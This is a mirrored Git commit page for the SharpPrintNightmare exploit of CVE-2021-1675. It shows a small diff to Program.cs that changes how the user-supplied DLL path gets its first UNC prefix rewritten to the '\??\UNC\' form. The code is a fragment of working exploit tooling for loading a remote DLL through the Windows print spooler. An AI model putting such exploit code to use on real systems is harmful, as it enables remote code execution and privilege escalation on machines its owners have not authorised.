1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2025-04-19 02:54:04 +01:00

Update Program.cs

This commit is contained in:
Mr.Un1k0d3r 2021-07-20 11:25:20 -04:00 committed by GitHub
parent d2e96c1dc7
commit 86156cfce5
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -70,7 +70,10 @@ namespace SharpPrintNightmare
dllpath = args[0];
if (dllpath.Contains("\\\\"))
{
dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
// only replace the first occurence of \\\\
string pattern = "\\\\";
int position = dllpath.IndexOf("\\\\");
dllpath = dllpath.Remove(position, pattern.Length).Insert(position, "\\??\\UNC\\");
}
if (args.Length > 2)